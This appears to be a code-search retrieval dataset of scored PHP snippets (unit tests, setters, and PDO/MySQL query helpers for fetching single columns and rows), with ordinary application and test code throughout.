BasicAuthenticator::UMN_IDP_ENTITY_ID,\n 'HTTP_SHIB_IDENTITY_PROVIDER' => BasicAuthenticator::UMN_TEST_IDP_ENTITY_ID, // Different for test distinction\n 'Shib-Authentication-Instant' => date('c', time() - 1800),\n 'HTTP_SHIB_AUTHENTICATION_INSTANT' => date('c', time() - 3600), // Earlier login in the header (for test distinction)\n 'Shib-AuthnContext-Class' => BasicAuthenticator::UMN_MKEY_AUTHN_CONTEXT,\n 'Shib-Authentication-Method' => BasicAuthenticator::UMN_MKEY_AUTHN_CONTEXT,\n 'REMOTE_USER' => '[email protected]',\n 'eppn' => '[email protected]',\n 'HTTP_EPPN' => '[email protected]',\n 'uid' => 'user',\n 'HTTP_UID' => 'user',\n 'multiAttribute' => 'one;two;three',\n 'HTTP_MULTIATTRIBUTE' => 'one;two;three',\n 'PREFIX_prefattr' => 'prefixed attribute'\n );\n $GLOBALS['_SERVER'] = array_merge($GLOBALS['_SERVER'], $shib_server);\n \n // Enforce correct arg separator in case prior test removes it\n ini_set('arg_separator.output', '&');\n }", "title": "" }, { "docid": "e5026d4827c9a7d2c4ea6c2ee2f38393", "score": "0.46910194", "text": "public function testSetCodeInsee() {\n\n $obj = new DsnLieuTravail();\n\n $obj->setCodeInsee(\"codeInsee\");\n $this->assertEquals(\"codeInsee\", $obj->getCodeInsee());\n }", "title": "" }, { "docid": "aa7d9363156fd351ac34d4e3f90cfd76", "score": "0.46897045", "text": "public function set_beaconDriven(int $newval): int\n {\n $rest_val = strval($newval);\n return $this->_setAttr(\"beaconDriven\", $rest_val);\n }", "title": "" }, { "docid": "1911f326966370b11c6b7171183b9295", "score": "0.4685842", "text": "public function testSetLibelle7() {\n\n $obj = new BudgetT();\n\n $obj->setLibelle7(\"libelle7\");\n $this->assertEquals(\"libelle7\", $obj->getLibelle7());\n }", "title": "" }, { "docid": "938edeacd48892de94745c0e2cc0092d", "score": "0.46838525", "text": "public function testSetCodeClient() {\n\n $obj = new AgendaFichiers();\n\n $obj->setCodeClient(\"codeClient\");\n $this->assertEquals(\"codeClient\", $obj->getCodeClient());\n }", "title": "" }, { "docid": "c1a28f23351cce91b7311cc6c5dbda65", "score": "0.46829438", "text": "public function setUp()\n\t\t{\n\t\t\t$this->ip = file_get_contents('https://bot.whatismyipaddress.com/');\n\n\t\t\t$this->bankIDService = new BankIDService(\n\t\t\t\t'https://test.bankid.puggan.se/3/rp/v5', $this->ip, [\n\t\t\t\t\t'local_cert' => __DIR__ . '/../bankId.pem',\n\t\t\t\t]\n\t\t\t);\n\t\t\t$this->personalNumber = 201010101010;\n\t\t}", "title": "" }, { "docid": "f22c1f3f3a9ca10e4e52779a25609206", "score": "0.46736854", "text": "public function setUp()\n {\n PhoneNumberUtil::resetInstance();\n }", "title": "" }, { "docid": "f85af89d1cd1710bf89c3a557bf3bddf", "score": "0.4673205", "text": "public function testGetAndSetValue()\n\t{\n\t\t$this->instance->setValue('sunflower');\n\n\t\t$this->assertEquals('sunflower', $this->instance->getValue());\n\t}", "title": "" }, { "docid": "64322706310d850dc66f73a5827e7b6b", "score": "0.46702698", "text": "function set_up() { }", "title": "" }, { "docid": "aadf2092bd80ecb8b2c21fc9a9c56dd0", "score": "0.4663413", "text": "public function testSetBICTooSmall()\r\n {\r\n (new Rembours)->setBIC('RABONL2');\r\n $this->assertFalse(true, 'Te kleine BIC code kon geset worden.');\r\n }", "title": "" }, { "docid": "98c8f905df4ea4bca6d864142e339375", "score": "0.46575624", "text": "public function testRegisterPhone()\n\t{\n\t\tprint 'Run test for #registerPhone...';\n\t\t$api = new DefaultApi();\n\t\t$response = $api->registerPhone(\n\t\t\t(new RegisterPhoneRequest())\n\t\t\t\t->setToken('55942ee3894f51000530894')\n\t\t\t\t->setPhone('+16463742122')\n\t\t);\n\t\tprint($response);\n\t\t$this->assertEquals('ok', $response->getStatus());\n\t\t$this->assertNotNull($response->getPhone());\n\t\t$this->assertNotEmpty($response->getCode());\n\t\t$this->assertStringMatchesFormat('Verification Code Sent', $response->getMsg());\n\t\tprint('');\n\t}", "title": "" }, { "docid": "2d2c54799aeacae969526432b11aeb26", "score": "0.465617", "text": "public function testSetPrixbloque() {\n\n $obj = new CdeClientLigne();\n\n $obj->setPrixbloque(true);\n $this->assertEquals(true, $obj->getPrixbloque());\n }", "title": "" }, { "docid": "1b7096acbb6c097b90a35c120acf4f56", "score": "0.46538502", "text": "public function testSetCodeVariante() {\n\n $obj = new CdeClientLigne();\n\n $obj->setCodeVariante(\"codeVariante\");\n $this->assertEquals(\"codeVariante\", $obj->getCodeVariante());\n }", "title": "" }, { "docid": "05135078089b095e134259e1e65e7990", "score": "0.46437195", "text": "public function control_opensocktest(){\n\t\t\t/*d( php_ini_loaded_file() );*/\n\t\t\t$getpath=dirname(php_ini_loaded_file());\n\t\t\t\n\t\t\t/*Loaded Configuration File*/\n\t\t\t$phpbin=$getpath.'/php.exe ';\n\t\t\t$exefile=ROOT.'/opsock.php';\n\t\t\t$do=$phpbin.$exefile;\n\t\t\t/*$sc=shell_exec($phpbin.$exefile);*/\n\t\t\tY::loadTool('file');\n\t\t$sc=YFile::writeFile(\"/opensock.bat\",$do);\n\t\t//生成bat文件;\n\t\t\n\t\t\td($sc,1);\n\tini_set('display_errors', '1');\n\tim(LIB.'/class.socket.php');\n\t\t$ipx='0.0.0.0';\n\t\t$ipx='192.168.1.101';\n\t\t$ip=$_SERVER['SERVER_ADDR']?$_SERVER['SERVER_ADDR']:$ipx;\n\t\t$ip=$ip=='127.0.0.1'?$ipx:$ip;\n\t\t\n\t\tsocketClass::start($ip,DB_SOCKPOST);\n\t}", "title": "" }, { "docid": "550158193d29e0dc3b0b595d8626f8a9", "score": "0.4639921", "text": "public function setUp()\n\t {\n\t\tdefine(\"AGENTZILLA\", \"https://agentzilla.ru\");\n\t }", "title": "" }, { "docid": "be992c6a621ee8346dff70959dbf3dae", "score": "0.46393245", "text": "public function testEndpointEndpointuuidPut()\n {\n }", "title": "" }, { "docid": "f6b6b5a8fd0f14726f47a07861e67c6f", "score": "0.46347848", "text": "protected function setUp()\n {\n $this->object = new HostnameAuthenticator();\n $_SERVER['REMOTE_ADDR'] = '127.0.0.1';\n }", "title": "" }, { "docid": "f20d1b79a7725636f2d717549266c248", "score": "0.46333778", "text": "public function testSetComplement() {\n\n $obj = new DsnLieuTravail();\n\n $obj->setComplement(\"complement\");\n $this->assertEquals(\"complement\", $obj->getComplement());\n }", "title": "" }, { "docid": "bd050559abeb581a2104922f1f771c7e", "score": "0.46310842", "text": "public function testSet () : void {\n $bits = BitsVector::new(4);\n $bits->set(2, 1);\n\n $this->assertEquals([0, 0, 1, 0], $bits->toArray());\n }", "title": "" }, { "docid": "17e07cb952c9889288a1d2387ffef6d6", "score": "0.46249667", "text": "function init($ip_address)\n\t{\n\t\tglobal $board_config, $phpEx, $db;\n\n\n\t\t$this->decoded_ip = $ip_address;\n\t\t$this->encoded_ip = encode_ip($ip_address);\n\t\t$this->ports = array_map('hexdec',explode(',', substr(chunk_split($board_config['proxy_ports'], 4, ','),0,-1)));\n\t\t$this->num_ports = count($this->ports);\n\n\t\t$sql = \"SELECT port, behavior FROM \" . PROXY_TABLE . \" \n\t\t\tWHERE ip_address = '\".$this->encoded_ip.\"'\";\n\t\tif ( !($result = $db->sql_query($sql)) )\n\t\t{\n\t\t\tmessage_die(GENERAL_ERROR,'Unable to check against proxy list',__FILE__,__LINE__,$sql);\n\t\t}\n\n\t\tif ( !$db->sql_numrows() )\n\t\t{\n\t\t\t$sql = \"INSERT INTO \" . PROXY_TABLE . \" (ip_address, last_checked)\n\t\t\t\tVALUES ('\".$this->encoded_ip.\"', \" . time() . \")\";\n\t\t\tif ( !$db->sql_query($sql) )\n\t\t\t{\n\t\t\t\tmessage_die(GENERAL_ERROR, 'Unable to insert data into proxy list', '', __LINE__, __FILE__, $sql);\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (!defined('IN_ADMIN'))\n\t\t\t{\n\t\t\t\t$temp = $db->sql_fetchrow($result);\n\t\t\t\t$this->port = $temp['port'];\n\t\t\t\t$this->status = $temp['behavior'];\n\t\t\t\tif ($this->status != 99)\n\t\t\t\t{\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\t\n\t\t\t{\n\t\t\t\t$sql = \"UPDATE \" . PROXY_TABLE . \" \n\t\t\t\t\tSET behavior = 0, last_checked = \" . time() . \" \n\t\t\t\t\tWHERE ip_address = '\".$this->encoded_ip.\"'\";\n\t\t\t\tif ( !$db->sql_query($sql) )\n\t\t\t\t{\n\t\t\t\t\tmessage_die(GENERAL_ERROR, 'Unable to update data in proxy list', '', __LINE__, __FILE__, $sql);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif ($this->mode == PROXY_HTTP_MODE)\n\t\t{\n\t\t\t$script_name = preg_replace('#^/?(.*?)/?$#', '\\1', trim($board_config['script_path']));\n\t\t\t$script_name = ( $script_name != '' ) ? $script_name . '/proxy' : 'proxy';\n\t\t\t$server_name = trim($board_config['server_name']);\n\n\t\t\t$http_request = array();\n\t\t\t$http_request[] = \"GET /$script_name/connect.$phpEx?address=\".$this->decoded_ip.\"&port=%s HTTP/1.0\";\n\t\t\t$http_request[] = \"Host: $server_name\";\n\t\t\t$http_request[] = \"User-Agent: \".stripcslashes($board_config['proxy_user_agent']);\n\t\t\t$http_request[] = \"Connection: close\";\n\t\t\t$http_request[] = \"\\r\\n\";\n\t\t\t$this->http_request = implode(\"\\r\\n\",$http_request);\n\t\t}\n\n\t\treturn false;\n\t}", "title": "" }, { "docid": "7b9256774b8bbb9a8ef52801ab468f92", "score": "0.46231127", "text": "function test_handleArduinoPing() {\r\n\r\n global $secretKey;\r\n $passCond = true;\r\n \r\n // test ability to make database entry\r\n $ret = handleArduinoPing($secretKey);\r\n $passCond = $passCond && ($ret == 1);\r\n\r\n // test ability to identify bad key\r\n $badKey = \"badKey\";\r\n $ret = handleArduinoPing($badKey);\r\n $passCond = $passCond && ($ret == -1);\r\n\r\n echo(\"test_handleArduinoPing: \");\r\n printTestResult($passCond);\r\n }", "title": "" }, { "docid": "78c6c70510a077bf534d0ad1d50cd035", "score": "0.46224672", "text": "public function testSetCdiTel1() {\n\n $obj = new Dossier4();\n\n $obj->setCdiTel1(\"cdiTel1\");\n $this->assertEquals(\"cdiTel1\", $obj->getCdiTel1());\n }", "title": "" }, { "docid": "677fe363f187638a1d30e5c3b92ca8c5", "score": "0.46217212", "text": "public function setV8_1($val)\n {\n $this->_propDict[\"v81\"] = $val;\n return $this;\n }", "title": "" }, { "docid": "f6e8c8c8764a2d9a1d1b2e25315bee95", "score": "0.46215236", "text": "public function testGetWithValidServerSoftware()\n {\n $originalSoftware = $_SERVER['SERVER_SOFTWARE'] ?? null;\n\n // set invalid server software\n $_SERVER['SERVER_SOFTWARE'] = 'apache';\n\n $response = $this->app->api()->call('system', 'GET');\n\n $this->assertTrue($response['data']['isOk']);\n\n // reset the server software\n $_SERVER['SERVER_SOFTWARE'] = $originalSoftware;\n }", "title": "" }, { "docid": "747a6f578f6f54c15f5fb000ce7a7541", "score": "0.46175197", "text": "public function testSetStatus()\n {\n $this->todo('stub');\n }", "title": "" }, { "docid": "a8f0a272667a4f5af8a6e2bfc12cf368", "score": "0.46151134", "text": "public function setUp()\n {\n $this->httpURL = stubHTTPURL::fromString('http://example.com/');\n $this->headerList = new stubHeaderList();\n $this->httpRequest = $this->getMock('stubHTTPRequest',\n array('createSocket', 'processHeader'),\n array($this->httpURL, $this->headerList, 2)\n );\n }", "title": "" } ]
2dd27e16c07d20cd9263305b68b580f7
Execute SQL query and fetch single column values.
[ { "docid": "34c4a1bfdf4b11d0c09ad92e6d64fe83", "score": "0.0", "text": "public function fetchColumn($query, $columnId = 0)\n {\n $handler = $this->dbConnection->prepare($query);\n $handler->execute();\n return $handler->fetchAll(\\PDO::FETCH_COLUMN, $columnId);\n }", "title": "" } ]
[ { "docid": "311f60abb5f1f893aa0d80a2b364bf85", "score": "0.733517", "text": "public function fetchOne(): mixed\n {\n return $this->statement->fetchColumn();\n }", "title": "" }, { "docid": "5eb9197a15b0465854dc684381796665", "score": "0.68971294", "text": "public function fetchColumn()\n {\n return $this->_connection->fetchColumn($this->getSql(), $this->getBind());\n }", "title": "" }, { "docid": "4e967da9b55fb6b824f61bad6862a7d3", "score": "0.6737864", "text": "function get_value($sql,$binds=null){\r\n\t\tif($this->execute($sql,$binds))\r\n\t\t\treturn $this->query_sth->fetchColumn();\r\n\t\treturn false;\r\n\t}", "title": "" }, { "docid": "1dae7867bc32fdfbcb57781d6ba450ac", "score": "0.6722198", "text": "public function fetchOne()\n {\n return $this->_connection->fetchOne($this->getSql(), $this->getBind());\n }", "title": "" }, { "docid": "8db8cdd21e2968698cd3fa00eb807b3c", "score": "0.67108864", "text": "public function getSingleRow() {\r\n \r\n $numericTypes = array(\r\n 1=>'tinyint',\r\n 2=>'smallint',\r\n 3=>'int',\r\n 4=>'float',\r\n 5=>'double',\r\n 8=>'bigint',\r\n 9=>'mediumint',\r\n 16=>'bit' );\r\n \r\n // fetch the data types to find numeric columns\r\n $numericColumns = array();\r\n $i = 0;\r\n while ($i<$this->Result->field_count) {\r\n $meta = $this->Result->fetch_field_direct($i);\r\n if ($meta) {\r\n if ( isset( $numericTypes[$meta->type])) {\r\n $numericColumns[ $meta->name ] = true;\r\n }\r\n }\r\n $i++;\r\n }\r\n \r\n $data = $this->Result->fetch_assoc();\r\n \r\n // convert data type to integer\r\n if ($data) {\r\n foreach( $data as $field => $value ) {\r\n if ($value !== NULL && isset($numericColumns[$field])) {\r\n $data[$field] = (integer) $value;\r\n }\r\n }\r\n }\r\n \r\n return $data;\r\n }", "title": "" }, { "docid": "1676369ce78e3f8ea0b75d417c6fbe79", "score": "0.6670932", "text": "static function fetchValue($sql, $col = 0) {\n\techo 'fetchValue with col ' . $col;\n $res = static::query($sql); //Should return whatever oci_execute returns.\n\twhile (($row = oci_fetch_array($res, OCI_BOTH)) != false) {\n\t\techo 'Looping. Got ' . $row[$col] . '. print_rred:';\n\t\tprint_r($row);\n\t}\n\treturn;\n //}\n /* $res = static::query($sql); //Should return whatever oci_execute returns.\n\techo 'res is a ' . gettype($res);\n\t$rows = oci_fetch_all($res, $r);\n\techo 'in our res we have ' . $rows . ' rows.';\n\tif (MyEnv::$IS_ORACLE) {\n\t\techo 'fetchValue: row is this: ';\n\t\t$row = oci_fetch_array($res, OCI_BOTH);\n\t\tprint_r($row);\n\t\t$val = $row[$col];\n\t}\n\telse {\n\t\t$row = mysql_fetch_array($res, MYSQL_BOTH);\n\t\t$val = $row[$col];\n\t}\n\techo 'fetchValue: Returning ' . $val;\n\treturn $val;*/\n }", "title": "" }, { "docid": "5bba48ef626ef03cbe0e12fa78ed2efe", "score": "0.664613", "text": "public function fetchRow()\n {\n return $this->_connection->fetchRow($this->getSql(), $this->getBind());\n }", "title": "" }, { "docid": "0963239195d0afaeaaa1ee3c93ee3318", "score": "0.6610977", "text": "function executeSelectSingleRecordQuery($query, $columnName){\n \n $con = $this->getcon();\n $result = $con->query($query);\n $row_array = $result->fetch_array(MYSQLI_ASSOC);\n return $row_array[$columnName];\n }", "title": "" }, { "docid": "eb5bc38cc5abe6f328366e416e12c6c2", "score": "0.6519865", "text": "function getSingleValue($sql)\r\n\t{\r\n\t\t$row = $this->getSingleRow($sql);\r\n\t\t//error_log(\"wtf: $row[0]\");\r\n\t\treturn $row[0];\r\n\t}", "title": "" }, { "docid": "dc4463fd0d370f26a3d198413abcbe29", "score": "0.6506762", "text": "function result($sql) {\n\t\t$val = current ( array_values ( $this->fetch ( $sql ) ) );\n\t\treturn $val;\n\t}", "title": "" }, { "docid": "c60b833baa574f130849cda95a57274e", "score": "0.6502749", "text": "public static function getValue($sql, $params = array())\n\t{\n\t\t\t$statement = self::_query($sql, $params);\n\t\t\treturn $statement->fetchColumn(0);\n\t}", "title": "" }, { "docid": "003bb94d6c4a6679d45f06f6ac61c8f0", "score": "0.64359814", "text": "private function query_single($sql_statement){\r\n\t\tif($this->con!=NULL){\r\n\t\t\ttry {\r\n\t\t\t\t$sttmnt = $this->con->prepare($sql_statement);\r\n\t\t\t\t$sttmnt->execute();\t\r\n\t\t\t\treturn $sttmnt->fetchColumn();\r\n\t\t\t} catch(PDOException $e) {\r\n\t\t\t\t$this->exception = $e;\r\n\t\t\t\t$this->exception_error = $e->getMessage();\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t}\r\n\t\telse{\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "024f8151b9a2595449db6149454098a3", "score": "0.63993055", "text": "function GetOne($sql) {\n $res = $this->Execute($sql);\n if (false === $res) {\n return false;\n }\n return reset($res->FetchRow());\n }", "title": "" }, { "docid": "a319220bbee5789deb552171afaf68fb", "score": "0.6398996", "text": "function executeSingleResult($sql) {\n\t//save data into table\n\t// open connection to database\n\t$con = mysqli_connect(HOST, USERNAME, PASSWORD, DATABASE);\n\t//select\n\t$result = mysqli_query($con, $sql);\n\t$row = mysqli_fetch_array($result, 1);\n\n\t//close connection\n\tmysqli_close($con);\n\n\treturn $row;\n}", "title": "" }, { "docid": "47ce28257ffb74688fd32229327b4db9", "score": "0.6370848", "text": "public function selectScalar()\n {\n $this->setDeferredExecution(true);\n $this->limit = 1;\n $this->offset = 0;\n \n $row = $this->fetchRows($this->getSelectSqlCommand());\n \n if ($row->isEmpty())\n return null;\n \n $data = $row->getValue(0);\n $data = $data->getArrayReference();\n $keys = array_keys($data);\n \n return $data[$keys[0]];\n }", "title": "" }, { "docid": "baac489d59bed756f54836f19af0bdeb", "score": "0.63696533", "text": "public function get_one()\n\t{\n if ( $r = $this->query(func_get_args()) ){\n return $r->fetchColumn(0);\n\t\t}\n return false;\n\t}", "title": "" }, { "docid": "12750d0ccae785fe854bad3b05a67c81", "score": "0.6342394", "text": "function exec_query_simple($query, $column, $params = array())\n {\n $this->lastResults = $this->exec_query($query, $params);\n\n if (!(@odbc_fetch_row($this->lastResults)))\n return null;\n\n return odbc_result($this->lastResults, $column);\n\n }", "title": "" }, { "docid": "2404c2b45671d4cfd63b35de5e641599", "score": "0.6327388", "text": "public function selectAsOne($sql){\n $result = null;\n if($res = mysqli_query($this->link, $sql)){\n if ($row = $res->fetch_assoc()){\n $result = $row;\n }\n mysqli_free_result($res);\n }\n return $result;\n }", "title": "" }, { "docid": "0f79687fcfbe3017427097d7ccc852b9", "score": "0.6310125", "text": "public function single(){\n \t\t$this->execute();\n \t\treturn $this->stmt->fetch(PDO::FETCH_ASSOC);\n\t}", "title": "" }, { "docid": "c1eb5c721aeaf3661685127e670a7916", "score": "0.6305791", "text": "public function fetchResult()\n {\n return $this->fetchRow();\n }", "title": "" }, { "docid": "c8ba7bc00ba0f2ba4663a78abdc1c193", "score": "0.63047254", "text": "public function FetchRow() {\n\t\treturn $this->nativeReader->fetch_row();\n\t}", "title": "" }, { "docid": "b9bba224774045c0c0120e6d1a5ef36b", "score": "0.62931556", "text": "public function single()\n {\n $this->execute();\n\n return $this->stmt->fetch();\n }", "title": "" }, { "docid": "91fad0f849186d9904bbd010c638ffaf", "score": "0.62865436", "text": "public function fetchOne()\n {\n return $this->stmt->fetch();\n }", "title": "" }, { "docid": "61741f7126760df31be4108048a0f232", "score": "0.6272732", "text": "function queryAndFetch($preparedStatement){\n $preparedStatement->execute();\n $result = $preparedStatement->get_result();\n if($result->num_rows === 0) return [];\n return $result->fetch_all(MYSQLI_ASSOC);\n }", "title": "" }, { "docid": "72678829ba5e7c136c280d1ad60f14be", "score": "0.6268607", "text": "function getOne($sql) {\n\t\t$result = \"\";\n\t\ttry{\n\t\t\t//$result = $this->ejecutar($sql);\n\t\t\t# Prepare query\n\t\t\t$sth \t= $this->conn->prepare($sql);\n\t\t\t$sth->execute();\n\t\t\t$result \t= $sth->fetch(PDO::FETCH_NUM)[0];\n\t\t//$result = $result->fetch_row()[0];\n\t\t} catch(PDOException $e ) {\n\t\t\techo \"Error: \".$e.\" Mensage: \".$e->getMessage();\n\t\t}\t\t\t\n\t\treturn $result;\n \t}", "title": "" }, { "docid": "a889c842a67d225000c89eb181b89875", "score": "0.6267703", "text": "public function query(): ?string \n {\n $stmt = $this->connection->prepare($this->strSql);\n $stmt->execute($this->arrSql);\n if ($stmt->rowCount() > 0) {\n $result = $stmt->fetchColumn();\n $this->destroy();\n return $result;\n } else {\n $this->destroy();\n return null;\n }\n }", "title": "" }, { "docid": "2a645eb7dc7246e915bd314bc012d57e", "score": "0.6267677", "text": "protected function queryOne($sql)\n\t{\n\t\t$data = $this->execSql($sql, true);\n\t\tif (count($data) == 0)\n\t\t\treturn false;\n\t\t// 只有一列,直接返回首行首列\n\t\tif (count($data[0]) == 1)\n\t\t\treturn $data[0][0];\n\t\t// 多列,返回首行\n\t\treturn $data[0];\n\t}", "title": "" }, { "docid": "aab8255314ecbee3800f7aacdf0e2fba", "score": "0.62636954", "text": "public function single()\n {\n $this->execute();\n return $this->statement->fetch(\\PDO::FETCH_ASSOC);\n }", "title": "" }, { "docid": "73d6e5f3d7189e9e91be4ee529200370", "score": "0.62538254", "text": "public function fetchOne($sql)\n {\n $out = $this->fetchAll($sql);\n return array_shift($out);\n }", "title": "" }, { "docid": "36084e650af85b61319413208b67e5d1", "score": "0.625127", "text": "public function single(){\n\t\t$this->execute();\n\t\treturn $this->stmt->fetch(PDO::FETCH_ASSOC);\n\t}", "title": "" }, { "docid": "56d84a8bab326fa79c2c447b290b4d99", "score": "0.6248341", "text": "function get_column() {\r\n $rs = $this->query(func_get_args());\r\n\r\n $data = array();\r\n\r\n if (!$rs) return $data;\r\n\r\n while($row = mysql_fetch_row($rs) ) {\r\n $data[] = $row[0];\r\n }\r\n $this->free();\r\n return $data;\r\n }", "title": "" }, { "docid": "84fb25a7de856942a9454555102febf7", "score": "0.6245454", "text": "public function fetchSingle(){\r\n \r\n $this->execute(); \r\n \r\n return $this->stmt->fetch(PDO::FETCH_ASSOC); \r\n }", "title": "" }, { "docid": "4bd2d174a723751fb0264550dfa1fa89", "score": "0.62427455", "text": "function FetchByID()\n\t{\n\t\tglobal $dal_info;\n\t\t$tableinfo = &$dal_info[ $this->infoKey ];\n\n\t\t$dal_where = \"\";\n\t\tforeach($tableinfo as $fieldname => $fld)\n\t\t{\n\t\t\t$command = 'if(isset($this->'.$fld['varname'].')) { ';\n\t\t\t$command.= '$this->Value[\\''.escapesq($fieldname).'\\'] = $this->'.$fld['varname'].';';\n\t\t\t$command.= ' }';\n\t\t\t\n\t\t\teval($command);\n\t\t\t\n\t\t\tforeach($this->Param as $field => $value)\n\t\t\t{\n\t\t\t\tif( strtoupper($field) != strtoupper($fieldname) )\n\t\t\t\t\tcontinue;\n\t\t\t\t\t\n\t\t\t\t$dal_where.= $this->_connection->addFieldWrappers( $fieldname ).\"=\".$this->PrepareValue($value, $fld[\"type\"]) . \" and \";\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t// cleanup\n\t\t$this->Reset();\n\t\t// construct and run SQL\n\t\tif ($dal_where)\n\t\t\t$dal_where = \" where \".substr($dal_where, 0, -5);\n\t\t\t\n\t\t$dalSQL = \"select * from \".$this->_connection->addTableWrappers( $this->m_TableName ).$dal_where;\n\t\treturn $this->_connection->query( $dalSQL );\n\t}", "title": "" }, { "docid": "76492f71b012148ffa1262e90a970de2", "score": "0.6241414", "text": "public function row()\n {\n $this->_buildQuery();\n $this->_execute();\n\n return $this->_pdoSt->fetch(PDO::FETCH_ASSOC);\n }", "title": "" }, { "docid": "44bd60f4733c672e8827e7e72e275070", "score": "0.6234647", "text": "public function run_raw_query_and_return_first_column($query, array $arguments = null)\n {\n $statement = $this->run_raw_query_and_return_statement($query, $arguments);\n return $statement->fetchColumn();\n }", "title": "" }, { "docid": "575e6023e4c7300c8ae76c8cf8a8f11b", "score": "0.6231992", "text": "public function fetch_one($sql)\n\t\t{\n\t\t\t$result=mysqli_query($this->db,$sql);\n\t\t\treturn mysqli_fetch_array($result);\t\n\t\t}", "title": "" }, { "docid": "dbf8a0ccdcbcb090fe121baf253349b3", "score": "0.6230396", "text": "protected function fetchRow() {\r\n\t\ttry {\r\n\t\t\treturn $this->_db->fetchRow($this->_sql, $this->_params);\r\n\t\t} catch (Exception $e) {\r\n\t\t\tdie($e->getMessage());\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "f4260e6404c50aeca52090e01de93265", "score": "0.6217145", "text": "public function execute()\n {\n if ($this->type == self::SELECT) {\n $this->loaded = true;\n if ($this->cacheTime !== false) {\n return $this->fetchFromCache();\n } else {\n return $this->db->fetchAll($this->getSql(), $this->params, $this->paramTypes);\n }\n } else {\n return $this->db->executeUpdate($this->getSql(), $this->params, $this->paramTypes);\n }\n }", "title": "" }, { "docid": "51b1511bed8c7dfe9ea589e431c7ee81", "score": "0.6213269", "text": "public function getCol() {\n\t\t$ret = array ();\n\t\t$query = $this->prepareQuery(func_get_args());\n\t\tif ($res = $this->rawQuery($query)) {\n\t\t\twhile ( $row = $this->fetch($res) ) {\n\t\t\t\t$ret[] = reset($row);\n\t\t\t}\n\t\t\t$this->free($res);\n\t\t}\n\t\treturn $ret;\n\t}", "title": "" }, { "docid": "071b4db1d83a5e72a5ece8edadfc11a8", "score": "0.6211762", "text": "function getValueFromDB( $sql, $params = Array() )\n\t{\n\t\t$stmt = sqlsrv_query( $this->conn, $sql, $params );\n\t\t$ret = -1;\n\t\tif( $stmt === false )\n\t\t{\n\t\t\t echo \"Error in statement preparation/execution.\\n\";\n\t\t\t die( print_r( sqlsrv_errors(), true));\n\t\t}\n\t\tif( sqlsrv_fetch( $stmt ) ){\n\t\t\t$ret = sqlsrv_get_field( $stmt, 0 );\n\t\t}\n\t\tsqlsrv_free_stmt( $stmt);\n\t\treturn $ret;\n\t}", "title": "" }, { "docid": "55b76edb6aed7f22b5d6306b583cab87", "score": "0.6205836", "text": "public function execute() {\n $this->dbAdapter->prepare($this->sql);\n $this->dbAdapter->execute($this->params);\n return $this->dbAdapter->fetchAll(ucfirst($this->tableName));\n }", "title": "" }, { "docid": "3ebe4b171c76aeaf30983fa3b8310deb", "score": "0.6200686", "text": "public function fetchRow() {\n return mysql_fetch_array($this->resultId, MYSQL_ASSOC);\n }", "title": "" }, { "docid": "3cdf7ff4fd05706ed8fdcadb5361b53e", "score": "0.6197801", "text": "function queryColumn($query)\n {\n $data = [];\n $res = $this->q($query);\n while ($row = $res->fetch_row())\n {\n if ($res->field_count == 1)\n $data[] = $row[0];\n else\n $data[$row[0]] = $row[1];\n }\n $res->close();\n return $data;\n }", "title": "" }, { "docid": "751f848c57334eb514e887f76b523d35", "score": "0.61963195", "text": "public function querySingleResult($sqlQuery);", "title": "" }, { "docid": "50eaa8ce91d584c40db96f48ba586380", "score": "0.6186436", "text": "public function fetch(){\n\t\treturn self::$db->fetch($this->result);\n\t}", "title": "" }, { "docid": "957631013462997e655841ebbf9a2e48", "score": "0.61846185", "text": "public function get_single_result($sql, $args = array()) {\r\n\t $this->connect();\r\n\t $q = $this->con->prepare($sql);\r\n\t $q->execute($args);\r\n\t $row = $q->fetch(PDO::FETCH_ASSOC);\r\n\t $this->rowsReturned = $q->rowCount();\r\n\t $this->disconnect();\r\n\t return $row;\r\n\r\n\t }", "title": "" }, { "docid": "77aa46ab0184606e5ad9a0d544333c29", "score": "0.6180467", "text": "public function findRow()\n {\n // If no SQL was provided, return null\n if (!$this->sql) {\n $this->makeSelect();\n }\n\n // Execute the query\n $this->execute();\n $result = $this->statement->fetch();\n $this->clear();\n\n return $result;\n }", "title": "" }, { "docid": "619c80034fc12a040904100eaec139ff", "score": "0.61787474", "text": "public function get_data()\n {\n return $this->retrieve('SELECT 1+1;');\n }", "title": "" }, { "docid": "eef1b6d02eedbd894a16a83b6bdad79a", "score": "0.6178106", "text": "function get_values($sql,$binds=null){\r\n\t\tif(!$this->execute($sql,$binds))\r\n\t\t\treturn false;\r\n\t\treturn $this->query_sth->fetchAll(PDO::FETCH_COLUMN);\r\n\t}", "title": "" }, { "docid": "4a560d2e9522c1c9bd8779582f26f90d", "score": "0.61769783", "text": "public function pdo_fetch_all_column($sql){\n $statement = $this->pdo->query($sql);\n $row = $statement->fetchAll(PDO::FETCH_COLUMN);\n return $row;\n }", "title": "" }, { "docid": "1956d227e47a3a72f5bf220e1362cbee", "score": "0.61738694", "text": "public function fetchPrimaryKeyValues()\n {\n $values = array();\n $sql = \"SELECT \" . $this->getPrimaryKeyString() . \" FROM `\" . $this->m_tableName . \"`\";\n $resultSet = $this->m_mysqli->query($sql);\n \n if ($resultSet === FALSE)\n {\n throw new \\Exception(\"query failed: [\" . $sql . ']');\n }\n \n /* @var $resultSet mysqli_result */\n while (($row = $resultSet->fetch_array(MYSQLI_NUM)) != null) # fetches only numerical rather than assoc as well\n {\n $values[] = $row;\n }\n \n return $values;\n }", "title": "" }, { "docid": "050e697ef40b720c0a7fbb745b7f1f97", "score": "0.6155916", "text": "static function fetchValues($sql, $col = 0) {\n $res = static::query($sql);\n\t$values = array();\n\t\n\tif (MyEnv::$IS_ORACLE) {\n\t\twhile (($row = oci_fetch_array($res, OCI_BOTH)) != false) {\n\t\t\t$values[] = $row[strtoupper($col)];\n\t\t}\n\t}\n\telse {\n\t\twhile ($row = mysql_fetch_array($res, MYSQL_BOTH))\n\t\t $values[] = $row[$col];\n\t}\n\t\n return $values; \n }", "title": "" }, { "docid": "25d8c0e476281d3baa52e5f09e51c06f", "score": "0.6149195", "text": "final public function getResult()\n\t{\n\t\treturn $this->connection->nativeQuery($this->__toString());\n\t}", "title": "" }, { 